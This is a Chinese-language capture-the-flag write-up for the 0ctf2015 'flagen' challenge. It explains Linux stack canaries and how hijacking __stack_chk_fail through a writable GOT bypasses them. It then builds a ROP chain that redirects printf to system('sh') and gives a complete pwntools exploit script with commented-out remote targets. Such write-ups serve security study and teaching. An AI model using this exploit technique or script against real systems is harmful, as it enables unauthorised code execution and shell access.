[exploit][writeup]0ctf2015 flagen - Canary繞過之__stack_chk_fail劫持


本題為Linux棧溢出漏洞的利用,考查Linux Canary繞過技術及ROP(Return-Oriented-Programming)攻擊負載的構造。

0x01 Linux Canary介紹
首先了解一下Linux的Canary保護機制。Canary是Linux眾多安全保護機制中的一種,主要用於防護棧溢出攻擊。我們知道,在32位系統上,對於棧溢出漏洞,攻擊者通常是通過溢出棧緩沖區,覆蓋棧上保存的函數返回地址來達到劫持程序執行流的目的:

針對此種攻擊情況,如果在函數返回之前,我們能夠判斷ret地址是否被改寫,若被改寫則終止程序的執行,便可以有效地應對攻擊。如何做到呢?一個很自然的想法是在剛進入函數時,在棧上放置一個標志,在函數結束時,判斷該標志是否被改變,如果被改變,則表示有攻擊行為發生。Linux Canary保護機制便是如此,如下:

攻擊者如果要通過棧溢出覆蓋ret,則必先覆蓋Canary。如果我們能判斷Canary前后是否一致,便能夠判斷是否有攻擊行為發生。
說明:上述圖例僅用於說明,實際上canary並不一定是與棧上保存的BP地址相鄰的。
0x02 Linux Canary實現
Linux程序的Canary保護是通過gcc編譯選項來控制的,gcc與canary相關的參數及其意義分別為:
-fstack-protector:啟用堆棧保護,不過只為局部變量中含有 char 數組的函數插入保護代碼
-fstack-protector-all:啟用堆棧保護,為所有函數插入保護代碼。
-fno-stack-protector:禁用堆棧保護,為默認選項。
我們通過一個簡單的例子來了解一下。示例代碼如下:

#include <stdio.h>
#include <string.h>

void foo (char *src)
{
    char dest[48] = {0};
    strcpy (dest, src);
}

int main()
{
    foo("Hello, world!");
    return 0;
}

將該段代碼保存為test.c,然后使用如下命令進行編譯:

gcc –o test test.c

然后通過如下命令對test進行反編譯:

objdump -d ./test

我們得到foo()的匯編代碼如下:

 1 080483eb <foo>:
 2  80483eb:    55                       push   %ebp
 3  80483ec:    89 e5                    mov    %esp,%ebp
 4  80483ee:    57                       push   %edi
 5  80483ef:    83 ec 34                 sub    $0x34,%esp
 6  80483f2:    8d 55 c8                 lea    -0x38(%ebp),%edx
 7  80483f5:    b8 00 00 00 00           mov    $0x0,%eax
 8  80483fa:    b9 0c 00 00 00           mov    $0xc,%ecx
 9  80483ff:    89 d7                    mov    %edx,%edi
10  8048401:    f3 ab                    rep stos %eax,%es:(%edi)
11  8048403:    83 ec 08                 sub    $0x8,%esp
12  8048406:    ff 75 08                 pushl  0x8(%ebp)
13  8048409:    8d 45 c8                 lea    -0x38(%ebp),%eax
14  804840c:    50                       push   %eax
15  804840d:    e8 ae fe ff ff           call   80482c0 <strcpy@plt>
16  8048412:    83 c4 10                 add    $0x10,%esp
17  8048415:    90                       nop
18  8048416:    8b 7d fc                 mov    -0x4(%ebp),%edi
19  8048419:    c9                       leave  
20  804841a:    c3                       ret

然后我們使用”-fstack-protector”編譯選項重新編譯編譯:

gcc -o test2 -fstack-protector ./test.c

然后通過相同的命令對test2進行反編譯,得到foo()的匯編代碼如下:

 1 0804844b <foo>:
 2  804844b:    55                       push   %ebp
 3  804844c:    89 e5                    mov    %esp,%ebp
 4  804844e:    57                       push   %edi
 5  804844f:    83 ec 54                 sub    $0x54,%esp
 6  8048452:    8b 45 08                 mov    0x8(%ebp),%eax
 7  8048455:    89 45 b4                 mov    %eax,-0x4c(%ebp)
 8  8048458:    65 a1 14 00 00 00        mov    %gs:0x14,%eax
 9  804845e:    89 45 f4                 mov    %eax,-0xc(%ebp)
10  8048461:    31 c0                    xor    %eax,%eax
11  8048463:    8d 55 c4                 lea    -0x3c(%ebp),%edx
12  8048466:    b8 00 00 00 00           mov    $0x0,%eax
13  804846b:    b9 0c 00 00 00           mov    $0xc,%ecx
14  8048470:    89 d7                    mov    %edx,%edi
15  8048472:    f3 ab                    rep stos %eax,%es:(%edi)
16  8048474:    83 ec 08                 sub    $0x8,%esp
17  8048477:    ff 75 b4                 pushl  -0x4c(%ebp)
18  804847a:    8d 45 c4                 lea    -0x3c(%ebp),%eax
19  804847d:    50                       push   %eax
20  804847e:    e8 9d fe ff ff           call   8048320 <strcpy@plt>
21  8048483:    83 c4 10                 add    $0x10,%esp
22  8048486:    90                       nop
23  8048487:    8b 45 f4                 mov    -0xc(%ebp),%eax
24  804848a:    65 33 05 14 00 00 00     xor    %gs:0x14,%eax
25  8048491:    74 05                    je     8048498 <foo+0x4d>
26  8048493:    e8 78 fe ff ff           call   8048310 <__stack_chk_fail@plt>
27  8048498:    8b 7d fc                 mov    -0x4(%ebp),%edi
28  804849b:    c9                       leave  
29  804849c:    c3                       ret

我們用beyond compare比較兩份匯編代碼,可以直觀的看到不同:

在右側代碼中可以看到,在函數開始時,會取gs:0x14處的值,並放在%ebp-0xc的地方(mov %gs:0x14,%eax, mov %eax,-0xc(%ebp)),在程序結束時,會將該值取出,並與gs:0x14的值進行抑或(mov -0xc(%ebp),%eax,xor %gs:0x14,%eax),如果抑或的結果為0,說明canary未被修改,程序會正常結束,反之如果抑或結果不為0,說明canary已經被非法修改,存在攻擊行為,此時程序流程會走到__stack_chk_fail,從而終止程序。
0x03 Canary保護繞過方法
從Canary的工作機制,可以總結出繞過Canary保護的方法有:

  • 泄露canary。由於Canary保護僅僅是檢查canary是否被改寫,而不會檢查其他棧內容,因此如果攻擊者能夠泄露出canary的值,便可以在構造攻擊負載時填充正確的canary,從而繞過canary檢查,達到實施攻擊的目的。
  • 劫持__stack_chk_fail。當canary被改寫時,程序執行流會走到__stack_chk_fail函數,如果攻擊者可以劫持該函數,便能夠改變程序的執行邏輯,執行攻擊者構造的代碼。我們知道,Linux采用的是延遲綁定技術(PLT),如果我們能夠修改全局偏移表(GOT)中存儲的__stack_chk_fail函數地址,便可以在觸發canary檢查失敗時,跳轉到指定的地址繼續執行。Linux延遲綁定技術在網絡上有很多介紹,請讀者自行查閱,這里不做詳細的說明。

我們將采用第二種方法對flagen漏洞進行利用。
0x04 漏洞利用策略
主辦方提供了一個ELF程序flagen及其對應的Libc.so。在對漏洞進行利用之前,通常需要先看一下目標程序采用了哪些安全機制,以確定采取何種漏洞利用策略。
已經有大牛們為我們寫好了工具,一個比較好用的腳本是checksec.sh,下載地址:https://github.com/slimm609/checksec.sh

Kali Linux上已經自帶了該腳本,我們使用checksec.sh對flagen進行檢查,輸出結果如下:

root@gzq:/home/gzq/exploit/flagen# checksec  ./flagen
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/gzq/exploit/flagen/flagen'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

我們可以看到,這是一個32位ELF程序,RELRO為” Partial RELRO”,說明我們對GOT表具有寫權限,Stack為”Canary found”說明程序啟用了棧保護,NX Enabled說明開啟了數據執行保護(DEP),我們很難通過shellcode來執行代碼了,No PIE說明未采用地址空間隨機化。
綜上,我們的漏洞利用策略是繞過Canary保護,並劫持Libc中的__stack_chk_fail來改變程序執行流,由於程序開啟了NX,我們需要構造ROP鏈來執行我們的代碼。
0x05 漏洞分析
用IDA對flagen進行逆向分析,這個題目的漏洞還是比較好找的,漏洞存在於Leetify()函數,該函數會對用戶輸入的特定字符做轉換,比如將’A’和’a’轉換為’4’,將’B’和’b’轉換為8,同時還會將’H’和’h’轉換為’1-1’,如下:

 1 int __cdecl Leetify(char *dest)
 2 {
 3   char *v1; // eax@3
 4   char *v2; // eax@4
 5   char *v3; // eax@5
 6   char *v4; // eax@6
 7   _BYTE *v5; // ST14_4@6
 8   _BYTE *v6; // eax@6
 9   char *v7; // eax@7
10   char *v8; // eax@8
11   char *v9; // eax@9
12   char *v10; // eax@10
13   char *v11; // eax@11
14   char *v12; // eax@12
15   char *v13; // eax@13
16   char *p; // [sp+14h] [bp-114h]@1
17   char *i; // [sp+18h] [bp-110h]@1
18   char src; // [sp+1Ch] [bp-10Ch]@1 256 bytes
19   int v18; // [sp+11Ch] [bp-Ch]@1
20 
21   v18 = *MK_FP(__GS__, 20);
22   p = &src;
23   for ( i = dest; *i; ++i )
24   {
25     switch ( *i )
26     {
27       case 0x41:                                // 'a' 'A' ->'4'
28       case 0x61:
29         v1 = p++;
30         *v1 = 52;                               // '4'
31         break;
32       case 0x42:                                // 'b' 'B' ->'8'
33       case 0x62:
34         v2 = p++;
35         *v2 = 56;                               // '8'
36         break;
37       case 0x45:                                // 'e' 'E' ->'3'
38       case 0x65:
39         v3 = p++;
40         *v3 = 51;                               // '3'
41         break;
42       case 0x48:                                // 'h' 'H'  hXX->1-1
43       case 0x68:
44         v4 = p;
45         v5 = p + 1;
46         *v4 = 49;                               // '1'
47         *v5 = 45;                               // '-'
48         v6 = v5 + 1;
49         p = v5 + 2;
50         *v6 = 49;
51         break;
52       case 0x49:                                // 'i' 'I' ->'!'
53       case 0x69:
54         v7 = p++;
55         *v7 = 33;                               // '!'
56         break;
57       case 0x4C:                                // 'l' 'L' ->'1'
58       case 0x6C:
59         v8 = p++;
60         *v8 = 49;                               // '1'
61         break;
62       case 0x4F:                                // 'o' 'O'->'0'
63       case 0x6F:
64         v9 = p++;
65         *v9 = 48;                               // '0'
66         break;
67       case 0x53:                                // 's' 'S'->'5'
68       case 0x73:
69         v10 = p++;
70         *v10 = 53;                              // '5'
71         break;
72       case 0x54:                                // 't' 'T'->'7'
73       case 0x74:
74         v11 = p++;
75         *v11 = 55;                              // '7'
76         break;
77       case 0x5A:                                // 'z' 'Z'->'2'
78       case 0x7A:
79         v12 = p++;
80         *v12 = 50;                              // '2'
81         break;
82       default:
83         v13 = p++;
84         *v13 = *i;
85         break;
86     }
87   }
88   *p = 0;
89   strcpy(dest, &src);
90   return *MK_FP(__GS__, 20) ^ v18;
91 }

在對’H’和’h’進行轉換時,負載將由1個字節變為3個字節,因此字符串長度將增加,在緩沖區未增大的情況下,將會產生溢出。因此如果攻擊者構造特定的負載,在調用strcpy()時,就會造成dest緩沖區溢出。
此外還需要注意,由於程序對特定字符進行了轉換,因此如果我們構造的攻擊負載中含有被轉換的字符,將不會達到我們的預期目的,此時需要對上述被轉換字符進行適當的變換才可成功。
在執行leetify()函數時,棧結構如下:

其中dest為指向堆緩沖區的指針,在調用leetify()時,其值將被壓入棧中,由於該函數存在棧溢出漏洞,攻擊者可以利用這個漏洞覆蓋掉dest的值為指定地址,在后續調用strcpy()時,實現向任意地址寫的目的。
我們可以將dest覆蓋為__stack_chk_fail函數在got表中的地址,達到修改__stack_chk_fail函數調用地址的目的,這樣后續在調用該函數時,實際上執行的是攻擊者的代碼。如下:

0x06 漏洞利用
至此,我們的漏洞利用思路已經比較清晰了。首先,需要將dest覆蓋為got表中__stack_chk_fail函數對應的表項,這樣當調用strcpy(dest, src)時,實際上是將src指向的緩沖區內容拷貝到got[‘__stack_chk_fail’]中,后續在canary檢查失敗而觸發__stack_chk_fail時,實際執行的是src指向的指令。因此我們的攻擊負載應該是這樣的:

fullpayload = payload + got[‘__stack_chk_fail’]

其中payload長度應該是276字節(ebp + 8 – (ebp - 268))。同時,由於程序開啟了NX保護,棧上的內容無法直接執行,因此我們需要構造ROP鏈來執行我們的指令。
ROP Chain是由一系列的片段(Gadgets)組成的。Kali Linux上的ROPgadget工具可以幫助我們從指定的二進制文件中列出可用的ROP gadget,命令如下:

root@gzq:/home/gzq/exploit/flagen# ROPgadget --binary ./flagen > gadget.txt

在列出的gadgets中,如下兩條gadgets可以實現任意地址寫的目的:

0x08048d8c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048aff : add byte ptr [edi + 0x5d], bl ; ret

第一條gadget從棧中彈出edi和ebx,第二條gadget將edi+0x5d位置的內容加上bx的低字節,由於棧上的內容是我們可以控制的,因此我們可以通過上述兩條gadgets實現向指定地址寫入指定內容的目的。
通常flag文件是存儲在文件系統中的,如果我們能夠控制程序執行system(“sh”)的話,我們將會與服務器建立一個shell,從而可以執行任意命令。因此,我們需要在棧上構造如下結構並跳轉到這里來執行:

因此需要解決如下兩個問題:
1) 計算system()的地址,並部署於棧上
2) 在內存中尋找”sh”字符串,或將該字符寫入內存,並將對應的地址部署於棧上
針對第一個問題,由於程序中並未直接調用system(),因此我們無法通過讀取got表來獲得system()的實際地址,但是由於我們獲得了libc.so,而函數的相對偏移是固定的,故我們可以通過讀取got表中實際被調用的函數地址來計算system()函數的地址。
首先我們使用如下命令來查看我們可以從got表中獲得哪些函數的實際地址:

root@gzq:/home/gzq/exploit/flagen# objdump -R ./flagen

./flagen:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804affc R_386_GLOB_DAT    __gmon_start__
0804b060 R_386_COPY        stdin@@GLIBC_2.0
0804b080 R_386_COPY        stdout@@GLIBC_2.0
0804b00c R_386_JUMP_SLOT   read@GLIBC_2.0
0804b010 R_386_JUMP_SLOT   puts@GLIBC_2.0
0804b014 R_386_JUMP_SLOT   free@GLIBC_2.0
0804b018 R_386_JUMP_SLOT   alarm@GLIBC_2.0
0804b01c R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804b020 R_386_JUMP_SLOT   strcpy@GLIBC_2.0
0804b024 R_386_JUMP_SLOT   malloc@GLIBC_2.0
0804b028 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804b02c R_386_JUMP_SLOT   __gmon_start__
0804b030 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804b034 R_386_JUMP_SLOT   setvbuf@GLIBC_2.0
0804b038 R_386_JUMP_SLOT   snprintf@GLIBC_2.0
0804b03c R_386_JUMP_SLOT   atoi@GLIBC_2.0

puts()與system()的調用方式是一樣的,我們選取puts()函數的實際地址來計算system()函數的地址。那么如何計算呢?我們可以根據libc.so中函數地址每個字節的偏移來計算,用puts()函數地址每字節的值加上偏移即可得到system()的地址。通過上面的兩條gadgets,我們可以將system()的地址寫入到got表中puts()函數對應的表項中。
這里還有一個問題就是如何跳轉到這個地址來執行。通過上述輸出我們看到,got表中puts函數存儲的地址為0x0804b010,用如下命令將flagen反匯編:

objdump –d flagen > flagen.asm

在反匯編得到的匯編文件中,我們使用” 804b010”進行查找,發現如下代碼片段:

08048510 <printf@plt>:
 8048510:   ff 25 10 b0 04 08       jmp    *0x804b010
 8048516:   68 38 00 00 00          push   $0x38
 804851b:   e9 70 ff ff ff          jmp    8048490 <read@plt-0x10>

因此,當調用printf()時,實際上會跳轉到got[‘puts’]處存儲的地址繼續執行。
對於第二個問題,也比較好處理。運行flagen,然后查看其內存映射情況,如下:

root@gzq:/home/gzq/exploit/flagen# ps axu | grep flagen
root      3496  0.3  0.7  28392 16184 pts/1    Sl+  15:44   0:06 /usr/bin/python2 ./flagen-pwn.py
root      3503  0.0  0.0   2200   528 pts/2    ts+  15:44   0:00 ./flagen
root      3510  0.2  1.4  38216 30932 pts/3    Ss+  15:44   0:04 gdb -q /home/gzq/exploit/flagen/flagen 3503 -x /tmp/pwn2fdAkU.gdb ; rm /tmp/pwn2fdAkU.gdb
root      3676  0.0  0.0   4636   856 pts/5    S+   16:12   0:00 grep flagen
root@gzq:/home/gzq/exploit/flagen# cat /proc/3503/maps 
08048000-0804a000 r-xp 00000000 08:08 1179832    /home/gzq/exploit/flagen/flagen
0804a000-0804b000 r--p 00001000 08:08 1179832    /home/gzq/exploit/flagen/flagen
0804b000-0804c000 rw-p 00002000 08:08 1179832    /home/gzq/exploit/flagen/flagen 0955e000-0957f000 rw-p 00000000 00:00 0          [heap]
b759e000-b774b000 r-xp 00000000 08:01 392330     /lib/i386-linux-gnu/libc-2.23.so
b774b000-b774d000 r--p 001ac000 08:01 392330     /lib/i386-linux-gnu/libc-2.23.so
b774d000-b774e000 rw-p 001ae000 08:01 392330     /lib/i386-linux-gnu/libc-2.23.so
b774e000-b7751000 rw-p 00000000 00:00 0 
b776d000-b776f000 rw-p 00000000 00:00 0 
b776f000-b7772000 r--p 00000000 00:00 0          [vvar]
b7772000-b7774000 r-xp 00000000 00:00 0          [vdso]
b7774000-b7796000 r-xp 00000000 08:01 392302     /lib/i386-linux-gnu/ld-2.23.so
b7796000-b7797000 rw-p 00000000 00:00 0 
b7797000-b7798000 r--p 00022000 08:01 392302     /lib/i386-linux-gnu/ld-2.23.so
b7798000-b7799000 rw-p 00023000 08:01 392302     /lib/i386-linux-gnu/ld-2.23.so
bf8df000-bf900000 rw-p 00000000 00:00 0          [stack]
root@gzq:/home/gzq/exploit/flagen#

可以看到,在flagen的進程空間中,0804b000-0804c000區間是可寫的,我們在其中選取一個地址來寫入”sh;”字符串,比如地址0x804b230,這個地址處的內容應該是全零的,因為我們的gadget是通過“加”的方式寫內存的。
至此,我們已經可以編寫針對該漏洞的利用代碼了。詳細的利用代碼如下,代碼中含有完善的注釋信息:

  1 #!/usr/bin/python2
  2 
  3 from pwn import *
  4 
  5 #context.log_level = "debug"
  6 elf = ELF("./flagen")
  7 
  8 print "got['puts']="+hex(elf.got['puts'])
  9 
 10 payload = ""
 11 payload += p32(0x08048d89)        #add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  !!src is locate at esp+0x1c, so this instruction make esp points to src
 12 payload += p32(0xdeadbeef)*2
 13 
 14 offs={"local":{"first":0x80, "second":0xB8, "third":0xFE}, "remote":{"first":0x00, "second":0xB8, "third":0xFE}, "ubuntu":{"first":0xA0, "second":0xAD, "third":0xFD}}
 15 # In the libc provided, puts() is 0005F140, system() is 0003A940. Following work we do is to write system's address to puts@got
 16 # In the local kali host, puts() is 0005F0D0, system() is 0003A850. Following work we do is to write system's address to puts@got
 17 # In my ubuntu box, puts() is 00060380, system() is 0003B020. Following work we do is to write system's address to puts@got
 18 
 19 #The following two gadgets we can use to write any where
 20 # 0x08048d8c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 21 # 0x08048aff : add byte ptr [edi + 0x5d], bl ; ret
 22 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 23 payload += p32(0xFFFFFF00 + offs['local']['first'])    #ebx, lowest byte is 0x80, 0x80 + 0xD0 = 0x150, so we can change the first byte in puts@got to 0x50 later
 24 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 25 payload += p32(elf.got['puts'] - 0x5d)    #edi
 26 payload += p32(0xdeadbeef)    #ebp, same as esi
 27 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the first byte to 0x40
 28 
 29 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 30 payload += p32(0xFFFFFF00 + offs['local']['second'])    #ebx, lowest byte is 0xB8, 0xB8 + 0xF0 = 0x1A8, so we can change the second byte in puts@got to 0xA8 later
 31 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 32 payload += p32(elf.got['puts'] + 1 - 0x5d)    #edi
 33 payload += p32(0xdeadbeef)    #ebp, same as esi
 34 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the second byte to 0xA8
 35 
 36 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 37 payload += p32(0xFFFFFF00 + + offs['local']['third'])    #ebx, lowest byte is FE, 0xFE + 0x05 = 0x03, so we can change the third byte in puts@got to 0x03 later
 38 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 39 payload += p32(elf.got['puts'] + 2 - 0x5d)    #edi
 40 payload += p32(0xdeadbeef)    #ebp, same as esi
 41 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the third byte to 0x03
 42 
 43 #By now, we write system()'s address to puts@got successfully.
 44 
 45 #Following we do is to write "sh;"(0x3B6873) to a location in the process memory space where default value is 0x00000000
 46 jcr=0x804b230
 47 
 48 #we can't write 's' directly because 's'(ascii=0x73) will be leetified to '5', so we use 0x01+0x72 to write it
 49 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 50 payload += p32(0xFFFFFF01)    #lowest byte 0x01(bl) is useful
 51 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 52 payload += p32(jcr - 0x5d)    #edi
 53 payload += p32(0xdeadbeef)    #ebp, same as esi
 54 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the lowest byte, so 0x02 is changed to 0x03
 55 
 56 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 57 payload += p32(0xFFFFFF72)    #lowest byte 0x72(bl) is useful
 58 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 59 payload += p32(jcr - 0x5d)    #edi
 60 payload += p32(0xdeadbeef)    #ebp, same as esi
 61 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the lowest byte, so 0x02 is changed to 0x03
 62 
 63 ##Also we can't write 'h' directly because 'h'(ascii=0x68) will be leetified to '1-1', so we use 0x01+0x67 to write it
 64 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 65 payload += p32(0xFFFFFF01)    #lowest byte 0x01(bl) is useful
 66 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 67 payload += p32(jcr + 1 - 0x5d)    #edi
 68 payload += p32(0xdeadbeef)    #ebp, same as esi
 69 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the lowest byte, so 0x02 is changed to 0x03
 70 
 71 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 72 payload += p32(0xFFFFFF67)    #lowest byte 0x72(bl) is useful
 73 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 74 payload += p32(jcr + 1 - 0x5d)    #edi
 75 payload += p32(0xdeadbeef)    #ebp, same as esi
 76 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the lowest byte, so 0x02 is changed to 0x03
 77 
 78 #we can write ';' directly(ascii=0x3B)
 79 payload += p32(0x08048d8c)    #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 80 payload += p32(0xFFFFFF3B)    #lowest byte 0x01(bl) is useful
 81 payload += p32(0xdeadbeef)    #esi, not useful here, just avoid existing '\x00'
 82 payload += p32(jcr + 2 - 0x5d)    #edi
 83 payload += p32(0xdeadbeef)    #ebp, same as esi
 84 payload += p32(0x08048aff)    #add byte ptr [edi + 0x5d], bl ; ret; !!increase the lowest byte, so 0x02 is changed to 0x03
 85 
 86 #now we can call system
 87 payload += p32(elf.symbols['printf'])    #call system in fact
 88 payload += p32(0xdeadbeef)     #faked ret address
 89 payload += p32(jcr)            #points to where 'sh;' is locate
 90 
 91 print "len(payload)=%d"%(len(payload))
 92 
 93 #padding, we need 276 bytes to hijack __stack_chk_fail.
 94 hNum = (276 - len(payload))/3
 95 print "hNum=%d"%(hNum)
 96 payload += 'H'*hNum
 97 payload += (276 - len(payload) - 2*hNum)*'A'
 98 print "len(all payload)=%d"%(len(payload))
 99 
100 #we want to overwrite 
101 payload += p32(elf.got['__stack_chk_fail'])
102 
103 p = process("./flagen")
104 #p = remote("5.5.100.35", 7777)
105 #p = remote("5.5.199.3", 4444)
106 
107 p.recvuntil(":")
108 p.sendline("1")
109 p.sendline(payload)
110 p.recvuntil(":")
111 #gdb.attach(p.proc.pid, "b *0x08048A58")
112 p.sendline("4")
113 p.interactive()
114 #p.close()

運行結果如下:

成功建立shell,我們可以讀取文件來獲得flag。
注意:因為在不同的libc中函數的地址可能不同,在第一部分寫system()函數地址的時候,你需要根據實際情況來進行調整, 尤其是當你構造的的負載中含有可被轉換字符的時候,需要靈活變換一下,比如如果想寫入0x53,因為0x53為’S’會被轉換,可以先寫入0x52,然后再加上0x01來間接達到寫入0x53的目的。
本文章中用到的flagen可以在我的github上下載(https://github.com/gsharpsh00ter/reverse),libc.so取決於運行的環境。文章中如有不正確之處,歡迎大家指正和交流。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM